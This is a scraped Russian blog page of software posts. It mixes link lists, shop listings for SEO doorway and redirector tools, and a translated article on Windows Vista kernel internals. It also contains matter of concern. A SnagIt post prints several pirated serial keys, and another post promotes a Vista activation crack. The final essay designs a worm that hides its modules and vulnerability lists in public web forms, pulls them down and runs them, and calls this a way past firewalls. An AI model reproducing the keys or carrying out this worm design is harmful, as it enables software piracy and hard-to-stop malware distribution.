-Рубрики

 -Музыка

 -Стена

Perseph0na Perseph0na написал 03.01.2010 14:56:48:
Ты появляйся, пусть изредка, на день - другой, но появляйся!

 -Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в Perseph0na

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 03.02.2007
Записей:
Комментариев:
Написано: 2710

Выбрана рубрика SOFT.


Другие рубрики в этом дневнике: ЮМОР(64), ФОТО(24), СТИХИ(5), СЕКС(14), МЫСЛИ ВСЛУХ(68), МУЗЫКА(6), МРАЗИ(23), КНИГИ(16), ДРУЗЬЯ(33), БAЯН(35)

------------------

Дневник

Воскресенье, 22 Апреля 2007 г. 10:33 + в цитатник
Humiliating все записи автора
Control your Desktop from your Toilet via your PSP


Burn an ISO to a CD w/free applications



Analyze HijackThis logs


Capture and Analyze Traffic On Your Network


Choose a certificate authority



Configure MP3 Support in Kubuntu Linux.htm


Find the ports and services that are open on your network



Have iChat Auto-start Video Chats


Lower Starting Lag time for DSL users


Optimize Wordpress for Search Engines



Take apart a laptop - The N00B way







Secure Windows XP Home Edition




Quiet your PC


Build your own DVRs



Change start menu text in xp


Convert protected audio in plain MP3



AJAX Feedback Mechanism


blog when are chips down


Choose a certificate authority



Choose a domain name


Create Wordpress Guestbook Reloaded



Create wordpress theme


Data Bind to RSS Feed (Blog Post) In Windows Forms


Edit wordpress theme using Dreamweaver



Encrypt Google Calander


Get full admin privileges in a power user account



Get more traffic to blogs


Get traffic for your blog (Different Author)



Learn Flash in 19mins


manipulate women into becoming gamers


Mask

IP address




scam

a scammer



Search MP3 off google



Select Search Engine Optimization Company


Send email using PHP with Gmail


Stop annoying javascript



Stop slacking at work


Tweak Ubuntu after first installation



use Spreedsheet to generate After Effects


Write Corporate Blog


Hack a V3

(Motorola)




Enhanced Podcast


Tweak UI



Add My-space friends automatically


Access restricted websites using Google


Airbrush a

person using Adobe




Make money from Bloggin (Different author)


Get your girl into gaming (Different author)



Redirect a website smartly


Encrypt Email


Increase visibility on blog search engines



Use

LaunchCast on IE-Tab



Stop RSS Scrapers From Stealing Your Content plus Revenge!



Integrate TinyMCE (WYSIWYG) for Ruby on Rails


Tweak system for better bittorrent download


Force Windows to load kennel on memory



Make money with press release


Run Linux on Windows



Install Flash Player 9 on Flock

Рубрики:  SOFT

Полезное в сети

Дневник

Четверг, 05 Апреля 2007 г. 15:07 + в цитатник
Humiliating все записи автора

Несколько полезных скриптов



Лицензия на домен для использования LastoBlog-b
http://lasto.com/shop/xatop-blog_b_license.html

diler -> seller -> shop






Блог, обожаемый поисковиками - PHP скрипт LastoBlog-b
http://lasto.com/shop/xatop-blog_b.html
diler -> seller -> shop





EN сигнатура articlebiz.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlebiz.html

diler -> seller -> shop






Лицензия на домен для использования Стахановского Портатора
http://lasto.com/shop/xatop-portator_pinta_domain_license.html
diler -> seller -> shop





Генератор Растущей Цены - стимулирование к покупке методом повышения цены.
http://lasto.com/shop/xatop-script_bid_price.html

diler -> seller -> shop






Стахановский Портатор - самостоятельно растущий сайт, приносящий доход.
http://lasto.com/shop/xatop-portator_pinta.html
diler -> seller -> shop






Фатальная консоль - самый эффективный способ консольной рекламы.
http://lasto.com/shop/xatop-f_console_fatal.html

diler -> seller -> shop






EN сигнатура articlesbase.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlesbase.html
diler -> seller -> shop






Floating bult-in PopUp - плавающая виртуальная консоль.
http://lasto.com/shop/xatop-e_console_bultin_floating.html

diler -> seller -> shop






EN сигнатура a1articles.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_a1articles.html
diler -> seller -> shop






EN сигнатура articlealley.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlealley.html

diler -> seller -> shop






EN сигнатура articlebin.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlebin.html
diler -> seller -> shop






EN сигнатура articlecity.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlecity.html

diler -> seller -> shop






EN сигнатура articlesfactory.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_articlesfactory.html
diler -> seller -> shop






EN сигнатура freezinesite.com - для англоязычного статейного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_freezinesite.html

diler -> seller -> shop






RU сигнатура NewsRU.com - для русскоязычного новостийного сайта
http://lasto.com/shop/xatop-portator_pinta_donor_newsru.html
diler -> seller -> shop





RU сигнатура vz.ru - для русскоязычного новостийного ресурса
http://lasto.com/shop/xatop-portator_pinta_donor_vz.html

diler -> seller -> shop






Ссылочный акробат - универсальный редиректор манимейкера.
http://lasto.com/shop/xatop-redirector_a.html
diler -> seller -> shop





Эмулятор сайта Site Emulator-A - получение колоссального трафика с поисковиков (версия 2004 г.)
http://lasto.com/shop/xatop-site_emulator_a.html

diler -> seller -> shop



Рубрики:  SOFT

Метки:  

Ядро Висты

Дневник

Понедельник, 02 Апреля 2007 г. 13:05 + в цитатник
Humiliating все записи автора

Внутреннее устройство ядра ОС Windows Vista: Часть 1

 
 
Краткий обзор:
  • Приоритет и планирование потоков
  • Файловые символические ссылки
  • Отмена операций ввода-вывода
 

Это — первая статья серии, посвященной нововведениям в ядре ОС Windows Vista. В этой работебудут затронуты изменения в области процессов, потоков и ввода-вывода. Следующие статьи будут посвящены управлению памятью, запуску и завершению работы, надежности и восстановлению, а также безопасности.

Данная статья охватывает изменения только ядра ОС Windows Vista™, в особенности файла Ntoskrnl.exe и связанных с ним компонентов. Следует помнить, что многие существенные изменения в ОС Windows Vista не затрагивают собственно ядро системы, и следовательно, здесь рассмотрены не будут. Это касается усовершенствований оболочки (например интегрированный поиск на рабочем столе), работы в сети (например новый стек IPv6 и двусторонний брандмауэр) и графической модели нового поколения (Aero™ Glass, платформа Windows® Presentation Foundation, диспетчер окон рабочего стола и новая модель графических драйверов). Также не будет рассмотрена новая инфраструктура драйверов пользовательского режима (UMDF) и режима ядра (KMDF) ОС Windows, поскольку ее можно устанавливать и на более ранние версии этой операционной системы.


Счетчик циклов центрального процессора

ОС Windows Vista содержит множество усовершенствований в области процессов и потоков, включая использование счетчика циклов центрального процессора для более равномерного выделения ресурсов, а также новую службу Multimedia Class Scheduler Service (MMCSS), способствующую безошибочному воспроизведению содержимого мультимедийными приложениями.

Все версии ОС Windows NT® до Windows Vista включительно выполняют подпрограммы прерывания интервального таймера примерно каждые 10 или 15 мс, в зависимости от аппаратной платформы. Данная подпрограмма обновляет статистику загрузки центрального процессора (ЦП) потоком, который ею прерван, так как если бы этот поток выполнялся весь интервал, хотя в действительности выполнение потока могло начаться перед самым завершением данного интервала. Далее поток мог формально получить ресурсы ЦП, но не получить возможности выполняться, поскольку вместо этого могли быть выполнены подпрограммы аппаратного или программного прерывания .

Подсчет времени на основе интервалов может подходить средствам диагностики, сообщающим загрузку ЦП процессами и потоками, но использование этого способа планировщиком потоков может приводить к нерациональному распределению ресурсов ЦП. По умолчанию клиентские версии ОС Windows позволяют выполнение потоков длительностью до 2 тактов (до 6 тактов на переднем плане). Однако на самом деле поток может совсем не получить времени ЦП, или же получить до 6 циклов (до 18 циклов на переднем плане), в зависимости от его поведения и прочей активности в системе.

Рисунок 1 демонстрирует случай нерационального распределения ресурсов, которое может произойти, если два потока с одинаковым приоритетом готовы к выполнению одновременно. Поток A выполняется до завершения следующего временного интервала, когда планировщик предполагает, что он выполнялся в течение всего интервала, и поэтому решает, что очередь потока A закончилась. Более того, потоку A засчитывается еще и прерывание, произошедшее во время его выполнения. На следующий интервал планировщик отдает предпочтение потоку B, который выполняется в течение полного интервала.

Рисунок 1 Неравномерное выделение ресурсов потокам
Рисунок 1 Неравномерное выделение ресурсов потокам

В ОС Windows Vista планировщик отслеживает точное количество циклов ЦП, в течение которых выполняется поток, с помощью регистра счетчика циклов современных процессоров. Определив, сколько циклов может выполнить процессор на протяжении интервала времени, планировщик может точнее раздавать ресурсы ЦП. К тому же, планировщик ОС Windows Vista не засчитывает выполнение прерывания во время выполнения потока. Это означает, что поток в ОС Windows Vista всегда получит, по крайней мере, свою очередь выполнения, не превышающую один дополнительный временной интервал, что обеспечивает более справедливое выделение ресурсов и предсказуемое поведение приложений. На рис. 2 показана реакция ОС Windows Vista на ситуацию, изображенную на рис. 1, выделением обоим потокам, по меньшей мере, по одному временному интервалу выполнения.

Рисунок 2 Планирование распределения ресурсов на основе циклов в ОС Windows Vista
Рисунок 2 Планирование распределения ресурсов на основе циклов в ОС Windows Vista

Врезка «Наблюдение за загрузкой ЦП процессом» демонстрирует, как можно наблюдать за использование процессом циклов ЦП с помощью программы Process Explorer.


Служба Multimedia Class Scheduler Service

Пользователи ожидают от мультимедийных приложений, таких как проигрыватели аудио и видео, ровного и безошибочного воспроизведения. Однако из-за занятости ЦП другими параллельно выполняющимися приложениями, например антивирусными программами, индексированием содержимого или даже почтовым клиентом могут возникать неприятные задержки и прерывания. Для обеспечения более качественного воспроизведения в ОС Windows Vista вводится служба MMCSS, управляющая приоритетами мультимедийных потоков для выполнения процессором.

Мультимедийное приложение, например проигрыватель Windows Media®, регистрируется в службе MMCSS с помощью новых функций прикладного интерфейса, отображающих его мультимедийные характеристики, которые должны совпадать с характеристиками, перечисленными по именам в следующем разделе реестра:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Currentversion\Multimedia\SystemProfile\Tasks

Разделы различных задач указывают, какое предпочтение получают потоки, связанные с разными типами мультимедиа, при выделении ресурсов ЦП и графического процессора (хотя управление ресурсами графического процессора в ОС Windows Vista не реализовано). На рис. 3 показано содержание одного из разделов задач реестра сразу после установки ОС Windows Vista, хотя сторонние разработчики могут добавлять и собственные определения задач.

Рис. 3 Определение аудиозадачи в планировщике классов мультимедиа
Рис. 3 Определение аудиозадачи в планировщике классов мультимедиа (Щелкните изображение, чтобы увеличить его)

Служба MMCSS, реализованная в файле %SystemRoot%\System32\Mmcss.dll и запускаемая в процессе работы узла службы (Svchost.exe), имеет поток управления приоритетами, который выполняется с приоритетом 27. (Приоритеты потоков в ОС Windows находятся в диапазоне от 0 до 31). Этот поток повышает приоритет зарегистрированных потоков мультимедиа до диапазона, связанного со значением Scheduling Category раздела реестра данной задачи, как показано на рисунке 4. В системе Windows приоритеты потоков от 16 и выше относятся к диапазону приоритетов реального времени, что выше приоритета любых потоков в системе (за исключением рабочих потоков диспетчера памяти, которые выполняются с приоритетом 28 или 29). Права на увеличение приоритета, необходимые для установки приоритетов потоков реального времени, есть только у учетных записей с правами администратора, например у локальной системной учетной записи, в которой выполняется служба MMCSS.

При проигрывании звукового файла проигрыватель Windows Media регистрирует потоки задачи аудио, а при проигрывании файла видео — потоки задачи воспроизведения. Служба MMCSS повышает приоритет всех потоков, заявивших о доставке потоковых данных, одновременно, когда они выполняются в процессе, которому принадлежит окно переднего плана, и если в разделе определения их задачи значение BackgroundOnly установлено в True.

Но в то время, как служба MMCSS помогает потокам мультимедиа получить необходимое время ЦП, она также гарантирует получение, по крайней мере, части процессорного времени другими процессами для обеспечения реакции системы и других приложений. Следовательно, служба MMCSS резервирует для других действий определенную часть процессорного времени , заданную в следующем разделе реестра:

HKLM\Software\Microsoft\Windows NT\Currentversion\Multimedia\SystemProfile\SystemResponsiveness 

По умолчанию это составляет 20 процентов, т.е. служба MMCSS отслеживает загрузку ЦП и не разрешает выполнение потоков с повышенным приоритетом в течение времени свыше 8 мс из 10, если ресурсы ЦП запрашиваются другими потоками. Чтобы потоки мультимедиа не мешали другим потокам в течение остальных 2 мс, планировщик понижает их приоритет до диапазона от 1 до 7.

Повышение приоритета потоков службой MMCSS можно увидеть на врезке «Наблюдение за повышением приоритета службой MMCSS».


Файловые символические ссылки

Изменения, относящиеся к операциям ввода-вывода в ОС Windows Vista, включают в себя файловые символические ссылки, более эффективную обработку завершения операций ввода-вывода, полную поддержку отмены операций ввода-вывода и поддержку приоритетов операций ввода-вывода.

Одной из функций файловой системы, которой по мнению многих недоставало в системе NTFS, является поддержка символических ссылок на файлы (или, как они называются в UNIX-системах, гибких ссылок), которая появилась в ОС Windows Vista. В версии NTFS для Windows 2000 были представлены символические ссылки на каталоги, которые назывались соединениями каталогов, что позволяло создавать каталоги, указывающие на другие каталоги, но до выхода ОС Windows Vista файловая система NTFS поддерживала только жесткие ссылки на файлы.

Основным отличием в том, как в ОС Windows разрешаются символические ссылки и соединения каталогов, является способ их обработки. ОС Windows обрабатывает символические ссылки в локальной системе даже если они ссылаются на место на удаленном файловом сервере. ОС Windows обрабатывает соединения каталогов, ссылающиеся на удаленный файловый сервер, на самом сервере. Символические ссылки на сервере могут, таким образом, ссылаться на местоположения, доступные только с клиентских компьютеров, например тома на других клиентских компьютерах, что невозможно для соединений каталогов. Для решения этой проблемы ОС Windows Vista поддерживает новый тип символических ссылок как для файлов, так и для каталогов.

Многие команды файловой системы обновлены для учета особенностей символических ссылок. Например, команда Delete (Удалить) не следует по ссылке, что приводило бы к удалению целевого объекта, а удаляет саму ссылку. Однако в связи с тем, что некоторые приложения могут неправильно обрабатывать символические ссылки, для создания таких ссылок необходимы права на создание символических ссылок, которые по умолчанию имеются только у администраторов.

Символическую ссылку можно создать из командной строки с помощью команды Mklink. Встроенная команда вывода содержимого каталога командной строки обозначает символические ссылки пометкой <SYMLINK> и показывает конечный объект в квадратных скобках, как показано на рисунке 5. Проводник Windows также понимает символические ссылки и отображает их со стрелкой как ярлыки. Конечный объект ссылки можно видеть в Проводнике, если добавить к окну обзора столбец Link Target (Цель ссылки).

Рисунок 5 Создание символической ссылки с помощью команды Mklink
Рисунок 5 Создание символической ссылки с помощью команды Mklink (Щелкните изображение, чтобы увеличить его)

Завершение и отмена операций ввода-вывода

В систему ввода-вывода введено множество внутренних изменений, которые могут улучшить производительность серверных приложений. Как правило, такие приложения используют объект синхронизации, называемый портом завершения, для ожидания завершения асинхронных запросов ввода-вывода. До выхода ОС Windows Vista при завершении операции ввода-вывода инициировавший данную операцию поток выполнял задачу завершения ввода-вывода, что приводило к переключению в процесс, к которому принадлежал данный поток, и прерыванию прочих действий. Затем система ввода-вывода обновляла состояние порта завершения, что приводило к возобновлению потока, ожидавшего изменения состояния порта.

В ОС Windows Vista обработка завершения ввода-вывода выполняется не потоком, инициировавшим операцию ввода-вывода, а потоком, ожидающим изменения состояния порта завершения. Это относительно небольшое изменение позволяет избежать ненужного планирования выполнения потоков и переключения контекста, что приводило к снижению общей производительности системы и приложений. Для еще большего повышения производительности сервер может получать результаты разных операций ввода-вывода от завершения одним запросом, избегая переходов в режим ядра.

Вероятно, одним из наиболее заметных нововведений в систему ввода-вывода с точки зрения конечного пользователя является поддержка в ОС Windows Vista отмены синхронных операций ввода-вывода. Всем, кто когда-либо выполнял команду net view или пытался обратиться к общему ресурсу на выключенном удаленном компьютере под управлением ОС Windows XP или Windows Server® 2003, знакомы проблемы с операциями ввода-вывода, которые невозможно отменить: команда или окно проводника не отвечали до истечения времени ожидания сети. Приложению не оставалось ничего иного, кроме как ожидать ошибки выполнения операции, поскольку не существовало способа оповестить драйвер устройства, выполняющий операцию ввода-вывода, о том, что данную операцию выполнять уже не нужно.

Большинство операций ввода-вывода в ОС Windows Vista можно отменить, включая операцию открытия файла, которую используют команда Net View и Проводник. Однако для того, чтобы приложения отвечали на запросы пользователя об отмене операции ввода-вывода, их необходимо обновить, и многие служебные программы ОС Windows Vista, взаимодействующих с устройствами, имеющими интервал ожидания, уже поддерживают данную возможность. Например, в диалоговых окнах открытия и сохранения файлов, применяющихся практически во всех приложениях ОС Windows, включая сторонние приложения, теперь во время отображения содержимого папки доступна кнопка Cancel (Отменить). Синхронные операции ввода-вывода команды Net также могут быть отменены нажатием комбинации клавиш Ctrl+C.

В преимуществах возможности отмены операций ввода-вывода легко убедиться, открыв окно командной строки в ОС Windows Vista и набрав команду:

net view (\\nonexistentmachine)

Команда не будет отвечать до тех пор, пока ОС Windows будет пытаться связаться с несуществующей системой, но ее можно будет прервать, воспользовавшись сочетанием клавиш Ctrl+C. В ОС Windows XP комбинация клавиш Ctrl+C не действовала и команда не отвечала до истечения срока ожидания сети.

Еще одной разновидностью проблем с вводом-выводом в предыдущих версиях ОС Windows было то, что драйверы устройств не могли быть отменены должным образом, поскольку не существовало простого способа известить их об этом. Если пользователю приходилось завершать процесс, а затем видеть, как он остается в списке процессов, было можно наблюдать, как драйвер устройства не может ответить на запрос завершения процесса и отмены операции ввода-вывода, инициированной незавершенным процессом. ОС Windows не может окончательно завершить процесс до того, как все операции ввода-вывода данного процесса не будут либо завершены, либо отменены. В ОС Windows Vista драйверы устройств без проблем регистрируют извещения о завершении процесса, так что большинство проблем, связанных с незавершаемыми процессами, остались в прошлом.


Приоритет операций ввода-вывода

Несмотря на то, что операционная система Windows всегда поддерживала приоритеты использования ЦП, в ней отсутствовало понятие приоритетов операций ввода-вывода. Без поддержки приоритетов ввода-вывода фоновые операции, например индексация поиска, поиск вирусов и дефрагментация диска могут существенно ухудшать скорость ответа операций переднего плана. Пользователь, запускающий приложение или открывающий документ в то время, как другой процесс выполняет, например, операцию дискового ввода-вывода, сталкивается с задержками, поскольку приложению переднего плана приходится дожидаться доступа к диску. С теми же препятствиями сталкивается воспроизведение с жесткого диска потокового мультимедийного содержимого, например песни.

ОС Windows Vista обеспечивает два новых способа распределения приоритетов для предоставления предпочтения операциям ввода-вывода переднего плана: приоритеты на отдельные операции ввода-вывода и резервирование полосы пропускания ввода-вывода. Система ввода-вывода в ОС Windows Vista обеспечивает внутреннюю поддержку приоритетов операций ввода-вывода, как показано на рисунке 6, но используются только четыре приоритета (возможно, следующие версии ОС Windows будут поддерживать приоритет High (Высокий)).

Приоритетом по умолчанию для операций ввода-вывода является Medium (Средний), а диспетчер памяти использует приоритет High (Высокий) для записи на диск содержимого памяти в ситуациях нехватки памяти для освобождения ОЗУ для других данных и кода. Планировщик задач ОС Windows устанавливает приоритет по умолчанию для задач ввода-вывода Low (Низкий), а написанные для ОС Windows Vista приложения, осуществляющие фоновую обработку, указывают приоритет Very Low (Очень низкий). Все фоновые операции в ОС Windows Vista, включая сканирование Windows Defender (Защитник ОС Windows) и индексирование поиска на рабочем столе, используют приоритет ввода-вывода Very Low (Очень низкий).

Драйвер устройства класса системного хранения (%SystemRoot%\System32\Classpnp.sys) обеспечивает приоритеты ввода-вывода, которые автоматически применяются к операциям ввода-вывода, ориентированных на большинство устройств хранения. Этот и другие драйверы хранения помещают в свои очереди операции ввода-вывода с приоритетом Medium (Средний) до операций с приоритетами Low (Низкий) и Very Low (Очень низкий), но при этом выполняют, как минимум, одну операцию с приоритетом Low (Низкий) или Very Low (Очень низкий) в секунду, чтобы не препятствовать выполнению фоновых процессов. Данные, прочитанные операциями с приоритетами Low (Низкий) и Very Low (Очень низкий), также приводят к тому, что диспетчер кэша производит запись изменений на диск незамедлительно, не откладывая, и обходит логику упреждающего чтения для операций чтения, что в противном случае приводило бы к упреждающему чтению из файлов, открытых для чтения. Пример операций с приоритетом Very Low (Очень низкий), выводимых программой Process Monitor, можно увидеть на боковой врезке «Просмотр операций ввода-вывода с приоритетом Very Low (Очень низкий)».

Поддержка резервирования полосы пропускания в ОС Windows Vista удобна для применения приложениями воспроизведения данных мультимедиа, и проигрыватель Windows Media пользуется ею наряду с повышением приоритетов службой MMCSS для почти безошибочного воспроизведения локального содержимого. Приложение проигрывателя мультимедиа запрашивает у системы ввода-вывода гарантии возможности чтения данных на указанной скорости и если устройство может предоставлять данные с указанной скоростью, а существующие ограничения резервирования это позволяют, оно предоставляет приложению данные о допустимой скорости и объеме операций ввода-вывода. Система ввода-вывода станет обслуживать другие операции только в том случае, если возможно удовлетворить требования приложений, зарезервировавших целевое устройство хранения.

В завершение следует упомянуть о еще одном изменении в системе ввода-вывода, относящемся к объему операций ввода-вывода. Со времен первой версии ОС Windows NT диспетчер памяти и система ввода-вывода ограничивали объем данных, обрабатываемых отдельным запросом ввода-вывода для устройства хранения, 64 КБ. Таким образом, даже если запрос ввода-вывода приложения был значительно больше, он разбивался на отдельные запросы, не превышающие 64 КБ. Каждая операция ввода-вывода подразумевала дополнительные затраты ресурсов на переключение в режим ядра и инициирование передачи ввода-вывода на устройство хранения, поэтому в ОС Windows Vista объем операций ввода-вывода больше не ограничивается. Некоторые компоненты пользовательского режима ОС Windows Vista подверглись модификациям для того, чтобы воспользоваться преимуществами большего объема операций ввода-вывода, включая функцию копирования в Проводнике и команду командной строки Copy (Копировать), которые теперь оперируют операциями ввода-вывода объемом 1 МБ.


Что дальше

Были рассмотрены две области, в которых ядро ОС Windows Vista подверглось улучшениям. Более подробное рассмотрение будет представлено в следующем издании книги Windows Internals (Внутренняя структура ОС Windows) (в соавторстве с Дэвидом Соломоном), которое должно выйти одновременно с ОС Windows Server под кодовым названием «Longhorn». В следующей статье данной серии будет продолжено знакомство с новым ядром и обсуждены вопросы управления памятью, а также запуска и завершения работы системы.

Рубрики:  SOFT

Легкий флеш-редактор

Дневник

Понедельник, 12 Марта 2007 г. 21:26 + в цитатник
AnFX v5.3.2.6

AnFX v5.3.2.6
размер: 3 Мб
статус: Shareware





Не стоит лишний раз рассказывать о тех шедеврах, которые умельцам удается реализовать при помощи Flash-анимации. Но чтобы украсить сайт или даже приложение с помощью красивых анимационных элементов, не обязательно разбираться с тяжелым продуктом от Macromedia. AnFX поможет сделать все в самой простой форме. Быстро и со вкусом.


http://stepaheadsoftware.com/products/anfx/anfxh.htm

Рубрики:  SOFT

захват изображений с экрана монитора

Дневник

Пятница, 09 Марта 2007 г. 16:30 + в цитатник

.

Aвтор: Leon13   Дата: 1 марта 2007         'Версия для печати  


Techsmith Snagit 8 - это программа для захвата изображений с экрана монитора. SnagIt умеет делать не только статичные графические "снимки" выбранной области, но и, например, записать в видеофайл то, что происходит на экране, экспортировав полученное в различные видеоформаты, а также захватить картинку из приложений, использующих Direct X, DirectDraw и Direct 3D.

Из дополнительных функций: поддержка работы со сканерами и цифровыми камерами, а также возможность автоматической отправки сделанных программой скриншотов на веб-сайт. Причем вы можете составить собственную подпись (аннотацию) к полученному изображению, установить "горячие клавиши" управления. С помощью программы вы так же можете провести поиск иконок и другой графики из EXE и DLL, сделать скриншот с веб-страницы, требующей для просмотра прокрутки, и многое другое.

DOWNLOAD~14MB

ES5CF-CCMB5-M2JHC-6GMVF-Q6D8D
UCMHA-BA4FC-KV7AK-Z63SR-LF63D
RTWMZ-FAH5S-MBECH-5MQ4S-UMD9A
CYCC4-46WCM-55DYN-Q8YGD-A49R3
YCMBS-KXCAD-BDDVQ-N934C-6693F
BZS3C-BMAQM-4HG5C-XMLQ4-B84FF
BVCMC-DCYKA-Q6DJB-Q85PD-JM6D9
..........................................................................
Рубрики:  SOFT

Метки:  

Vista Automated Activation Crack v3.0

Дневник

Пятница, 09 Марта 2007 г. 16:16 + в цитатник
.
Aвтор: Leon13   Дата: 7 марта 2007         'Версия для печати  


СУПЕР АКТИВАТОР: Vista Automated Activation Crack v3.0


Скачиваем и распаковываем архив, запускаем файл, через несколько секунд появляется предложение перегрузиться как на скриншоте и ваша виста активирована!



Рубрики:  SOFT

Метки:  

Подарок - коллекция смайловых гифов

Дневник

Вторник, 06 Марта 2007 г. 02:02 + в цитатник
...Весьма прикольно)
 
 
 
 
 
 
 
 
 
 
 

  Всем, кому понравилось - берите!

Рубрики:  ДРУЗЬЯ
SOFT

Метки:  

...

Дневник

Воскресенье, 04 Марта 2007 г. 17:32 + в цитатник
...чтобы придумать что-то совершенно новое, надо как минимум знать то что уже
придумали. Однако сколько интересного приносит знание, когда начинаешь ими уже
свободно владеть.

Мы будем говорить о хитроумном способе передаче данных. Таком хитроумном, что
сложно так вот сходу придумать ему применение, однако нижеизложенная техника -
это факт, и неизвестно что она принесет миру, а возможно так и останется жить
только в теории и да у маньяков с плохим зрением.
Чтож, ближе к делу ?

Принцип работы.

Условимся, что на на странице
http://www.server.com/cgi-bin/formParsing.pl есть некая форма с
параметрами: nick, message и кнопкой отправки введенных данных.
Примерно следующего содержания:

nick

message




После ввода данных эти данные печатаются на этой же странице сверху
(грубо говоря, это урезанный чат).

Любой человек в интернете может ввести туда данные и отправить их на обработку серверу.
Если мы введем: : "жду тебя вася в 19-00 у Ленина",
тогда тот вася, который ждал этого сообщения, увидев эту надпись может пойти к
Ленину к 19-00, если посчитает это нужным.

Теперь спроецируем это все на программы (cgi скрипты)
Если один из серверов в интернете периодически читает эту страницу и ищет на ней
определенную сигнатуру, а другой сервер в интернете посылает эту сигнатуру на
эту страницу, а после нее посылает определенный блок данных, то первый
определив сигнатуру, может получить и те данные, которые были посланы вторым.

Допустим на вышеуказанную страницу мы отсылаем

name="robot19jkeks"
message="robot19jkekshttp://www.anotherserver.com/cgi-bin/AnotherFormParsing.pl(nick[20]message[300])"

Первый сервер определяет сигнатуру "robot19jkeks", после чего начнает искать
сигнатуру дальше, после чего уже знает что находятся данные, а данные уже вот
эта строка:

http://www.anotherserver.com/cgi-bin/An … Parsing.pl(nick2[20]message2[300])

эти данные могут означать например то что это ссылка на друую страницу, где
аналогичн можно оставлять данные в параметрах nick2 и message2, причем для
nick2 - длинна данных может быть до 20 символов, а для поля message2 300 байт.

Это и есть основной принцип работы, пусть достаточно медленный, однако
принципиально возможный.

Обход firewalls.

Технология предоставляет дополнительную универсальную возможность обхода
firewalls. Почему принципиальную ? Потому что чтобы устранить эту возможность
потребуется анализ данных, однако никогда нельзя будет точно утверждать, что
это написал человек, а это машина. Аналогичная проблемма с анализом писем на
предмет спама.

Проблемма реализации в том, что необходима динамическая страничка доступная с
как со стороны внутренней сети, так и со стороны внешней сети.
Только в этом случае это будет универсальным методом обхода firewalls.

Теперь на примере, на урале один из провайдеров предоставляет доступ в
интернет, но при этом предоставляет услугу просмотра статистики и изменения
кое-каких параметров бесплатно, если зайти с диалапа под открытыми для этого логином и
паролем.

Вот эта форма, подверженная уязвимости:


Имя электронного ящика



Периодичность

0.Не получать
1.В конце месяца
2.Еженедельно
3.Ежедневно












Заполнив форму и отправив ее, сервер провайдера запоминает адрес электронной
почты и периодичность, при следующем просмотре этой страницы, мы увидим эти
параметры в этой же форме, что нам и требуется.

Эту страницу можно посетить как из интернета, так и с бесплатного доступа к
статистике. Теперь нам осталось написать
сервер и клиент, и можно, пусть на медленной скорости, передавать/получать
данные.

Технологии для троянов вирусов и червей

Сразу же надо подчеркнуть, что тут нет пропаганды, а лишь открываются
факты подтверждающие возможности.

Известная группа gray-world утверждает (точнее один из ее рускоязычных
участников), что эта технология будущего для вирей
или троянов. Давайте немного поразмыслим.

На чем основаны нынешние вирусы и черви ? Правильно на последних ошибках, но как
быстро пишутся черви ? Проходит достаточное время, плюс к тому иногда проблеммой
может стать точка старта для червяка, так же редко бывает что червя поддерживает
анонимная группа, что плюсов в распространении его не делает.
И многие другие проблеммы решает именно
эта технология (уж неговоря об обходе firewalls)

Давайте немного рассмотрим поближе эту интересную технологию.

Итак, изначально червь представляет из себя код, который при своем запуске
сканирует известные для него сайты подверженные описанной выше уязвимости, на
предмет сигнатур, по которым определяется положение дополнительных модулей и
дополнительных баз уязвимостей. Если найдена сигнатура, определяется
пространство и скачивается модули и базы, просле чего сканируются новые базы,
после чего исполняются дополнительные модули.

Таким образом червь по сути своей не является червем, а это просто программа
выкачивающая и запускающая данные. И тут впринципе нельзя обвинить автора в
написании червя.

Сами же модули могут представлять из себя все что угодно, дополнительный код
размножения, реклама, деструкторы, движки для морфинга, и самоуничтожения и
всего чего не придет в голову.

Что из себя представляют базы уязвимостей ?
Если объяснять на пальцах, то это строки примерно следующего содержания:
1|URL1|URL2|имя_элемента_input1|объем_данных1|имя_элемента_input2|объем_данных2|имя_элемента_input3|объем_данных3|..
2|URL1|URL2|имя_элемента_input1|объем_данных1|имя_элемента_input2|объем_данных2|имя_элемента_input3|Объем_Данных3|..
...

где
1,2,.. - идентификаторы записей
URL1 - адрес, куда необходимо отправить запрос, чтобы данные сохранились по
адресу URL2
имя_элемента_input1 - атрибут name у элемента формы, который будет отображаться
по адресу URL2
объем_данных1 - объем данных помещающихся в этой форме, т.е. сколько данных мы
можем передать через этот элемент.

Кроме чтения баз уязвимостей вирус/червь, может сканировать случайные адреса на
предмет возможности оставить данные и а так же возможно определение объема
сохраняемых данных.

Благодаря этому будет крайне сложно оставноить червь, который сможет
использовать ресурсы необслуживаемых сайтов, шаблонные проекты навроде
PHPbb.

Чтобы обезвредить вирус, потребуется невероятные усилия, обращение к
администрации сайтов с просьбой отключить определенный проект и много
других проблемм, либо боротьбся с вирусом его же средствами. Изобретать
защиту можно сколько угодно, но проблемма останется навсегда по одной
простой причине: это принципиальная возможность!

Если мы можем оставлять где-то данные, почему бы нам не использовать это
в своих целях ? Хотя как мне как-то сутра пришла в голову одна
интересная мысль: А что если при написании формы, рядом показать
рисунок, например рисунок цветка, и требовать ввести пользователя: Что
нарисовано на картинке ? В этом случае, автоматизировать процесс будет
крайне сложно, однако об этой технологии я нигде не слышал, и на данный
момент проблемма актуальна. С другой стороны, опять-таки все интернет
сайты не смогут сделать подобную защиту. Часть ресурсов отпадет, но
другая часть останется.

Тем самым мы решили проблемму места, где могут хранить вирусы информацию
и в том числе и себя самих. Никто не мешает использовать последние дыры,
и факт того что их может добавть любой в интернете, поместив
определенную сингатуру на несколько общедоступных сайтов с форумами.

Так же мы решили проблемму групповой разработки и поддержки вируса/червя.

Трудности реализации

А проблемм достаточно много, назовем некоторые из них:

1.Универсальное ядро должно уметь анализировать канал передачи, сколько бит
приходится на 1 байт
2.Упаковка данных
3.Процесс UUEncode или аналогичный ему
